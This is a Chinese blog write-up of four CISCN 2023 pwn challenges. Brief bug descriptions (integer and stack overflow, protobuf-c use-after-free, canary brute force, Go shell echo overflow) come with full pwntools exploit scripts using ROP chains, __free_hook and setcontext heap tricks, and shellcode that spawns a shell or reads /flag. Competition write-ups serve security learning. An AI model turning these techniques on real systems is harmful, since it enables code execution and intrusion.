CISCN2023 部分PWN题wp

Posted by l0tus on 2023-05-28
Estimated Reading Time 8 Minutes
Words 1.4k In Total
Viewed Times

pwn 4/6,被白夜带飞了,协会的大家都太强了
这几道题目里能独立完整解出的大概也只有两道,另外的都是白夜在主要输出,我只能提供一点思路和跟着写一点脚本,还是需要多练
但是我把我们俩做出的题都放上来了,有的步骤我还不会,现在太晚了(00:40)明天白天有空复现一下
之后大概是分区赛(?,继续加油

烧烤摊儿

第一道pwn,比较简单,光速下班但是之后光速上题hhh
整数溢出,没检查负数
pic
也有栈溢出:
pic

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.log_level = 'debug'
context.terminal = ['konsole', '-e']
context.arch = 'amd64'

# p = process("./shaokao")
p = remote("39.107.137.13", "28491")
elf = ELF("./shaokao")

p.sendlineafter(b">", b"1")
p.sendlineafter(b"3", b"1")
p.sendlineafter(b"\n", b"-10000000")

p.sendlineafter(b">", b"4")

p.sendlineafter(b">", b"5")

pop_rdi = 0x000000000040264f
pop_rsi = 0x000000000040a67e
pop_rdx_rbx = 0x00000000004a404b

mprotect = elf.symbols['mprotect']
read = elf.symbols['read']

payload = b"A" * 0x28
payload += p64(pop_rdi)
payload += p64(0x4E8000)
payload += p64(pop_rsi)
payload += p64(0x1000)
payload += p64(pop_rdx_rbx)
payload += p64(7)
payload += p64(0)
payload += p64(mprotect)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(0x4E8000)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(read)
payload += p64(0x4E8000)

# gdb.attach(p)
p.sendlineafter(b"\n", payload)

shellcode = asm(shellcraft.sh())
p.send(shellcode)

p.interactive()

StrangeTalkBot

保护全开:
pic
沙盒:
pic
限制:
pic
UAF:
pic

上了protobuf-c的序列化(第一次遇到序列化的pwn题)
https://github.com/protobuf-c/protobuf-c
https://protobuf.dev/programming-guides/proto2/
message类型应该是cmessage
pic
pic
字段注册结构体:
pic
对应IDA中的数据:
pic
pic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
typedef enum {
/** A well-formed message must have exactly one of this field. */
PROTOBUF_C_LABEL_REQUIRED,

/**
* A well-formed message can have zero or one of this field (but not
* more than one).
*/
PROTOBUF_C_LABEL_OPTIONAL,

/**
* This field can be repeated any number of times (including zero) in a
* well-formed message. The order of the repeated values will be
* preserved.
*/
PROTOBUF_C_LABEL_REPEATED,

/**
* This field has no label. This is valid only in proto3 and is
* equivalent to OPTIONAL but no "has" quantifier will be consulted.
*/
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;

typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;

注册文件:

1
2
3
4
5
6
7
8
syntax = "proto2";

message devicemsg {
required sint64 actionid=1;
required sint64 msgidx=2;
required sint64 msgsize=3;
required bytes msgcontent=4;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
import test_pb2

context.log_level = 'debug'
context.terminal = ['konsole', '-e']
context.arch = 'amd64'

# p = process('./pwn')
p = remote('39.105.26.155', '33708')

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

# message devicemsg {
# required sint64 actionid=1;
# required sint64 msgidx=2;
# required sint64 msgsize=3;
# required bytes msgcontent=4;
# }

message = test_pb2.devicemsg()
payload = b''

def add(idx,size, msg):
global payload
message.actionid = 1
message.msgidx = idx
message.msgsize = size
message.msgcontent = msg
payload = message.SerializeToString()
p.sendafter(b'now:', payload)

def edit(idx, msg):
global payload
message.actionid = 2
message.msgidx = idx
message.msgsize = len(msg)
message.msgcontent = msg
payload = message.SerializeToString()
p.sendafter(b'now:', payload)

def show(idx):
global payload
message.actionid = 3
message.msgidx = idx
message.msgsize = 0
message.msgcontent = b''
payload = message.SerializeToString()
p.sendafter(b'now:', payload)

def delete(idx):
global payload
message.actionid = 4
message.msgidx = idx
message.msgsize = 0
message.msgcontent = b''
payload = message.SerializeToString()
p.sendafter(b'now:', payload)

for i in range(0, 10):
add(i, 0xf0, str(i).encode())

add(10, 0xf0, b'a')

for i in range(0, 10):
delete(i)


show(8)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1eccd0
log.info('libc_base: ' + hex(libc_base))

heap_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8, b'\x00')) - 0xff0
log.info('heap_base: ' + hex(heap_base))

gadget = libc_base + 0x0000000000151990
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
ret = libc_base + 0x0000000000022679
setcontext = libc_base + libc.sym['setcontext'] + 61
free_hook = libc_base + libc.sym['__free_hook']
mprotect = libc_base + libc.sym['mprotect']

add(11, 0x30, b'a')
add(12, 0x30, b'a')
add(13, 0x30, b'a')

delete(11)
delete(12)

edit(12, p64(free_hook))

add(14, 0x30, b'a')
add(15, 0x30, p64(gadget))

payload = p64(0)
payload += p64(heap_base + 0x1170)
payload += p64(0)
payload += p64(0)
payload += p64(setcontext)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read('rax', heap_base + 0x1170, 0x100))
payload += asm(shellcraft.write(1, heap_base + 0x1170, 0x100))
payload = payload.ljust(0xa0, b'\x00')
payload += p64(heap_base + 0x1170 + 0xa8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(heap_base)
payload += p64(pop_rsi)
payload += p64(0x2000)
payload += p64(pop_rdx)
payload += p64(7)
payload += p64(mprotect)
payload += p64(heap_base + 0x1170 + 0x28)
edit(10, payload)

# gdb.attach(p)
delete(10)



p.interactive()

Funcanary

这道题算是比较简单的一道了,题目fork之后子进程崩溃不会导致父进程退出,直接逐位爆破canary和pie base

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
context.log_level='debug'

p=process("./funcanary")

#gdb.attach(p)

payload=b'a'*0x68+b'\x00'

for i in range (7):
for j in range (256):
payload+=bytes([j])
p.send(payload)
res=b''
res=p.recvline()
res=p.recvline()

if b'stack' in res:
payload=payload[:-1]
continue
else:
break
continue

print(payload)

#p.recvuntil(b"\n")
#/x29/x12

gdb.attach(p)
payload += p64(0) + b"\x31"
for i in range(16):
payload += bytes([2 + 0x10 * i])
p.send(payload)
res = p.recvline()
if b"flag" in res:
print(res)
break
else:
payload = payload[:-1]
continue

p.interactive()

Shellwego

go写的shell
echo有溢出,太多会stack check fail,+截断,往栈上写数据
程序开始需要认证,认证用了 RC4
pic
pic
通过认证的命令:
cert nAcDsMicN S33UAga1n@#!
在echo命令的处理函数中会将echo的内容复制到栈上,并且没有检查下标
pic
但是限制了单个字符串的长度,需要将payload用空格隔开
pic

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

context.log_level = "debug"
context.terminal = ["konsole", "-e"]
context.arch = "amd64"

# p = process("./pwn")
p = remote("47.93.187.243","42072")

elf = ELF("./pwn")

pop_rax_ret = 0x000000000040d9e6
mov_rbx_rsp = 0x0000000000463ac4
mov_rdi_rbx = 0x0000000000461d3c
add_rdi_10h = 0x0000000000462a9c
pop_rdx_ret = 0x000000000049e11d
syscall_addr = 0x000000000040328c

p.sendlineafter(b"ciscnshell$", b"cert nAcDsMicN S33UAga1n@#!")

payload = b"+" * (0x130 - len("unk_func0b04:"))
payload += b" "
payload += b"+" * 0x100
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(pop_rax_ret)
payload += p64(mov_rbx_rsp)
payload += p64(mov_rdi_rbx)
payload += p64(0)
payload += b"/bin/sh\x00"
payload += p64(add_rdi_10h)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(syscall_addr)

# gdb.attach(p)
p.sendlineafter(b"nightingale#", b"echo " + payload)


p.interactive()


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !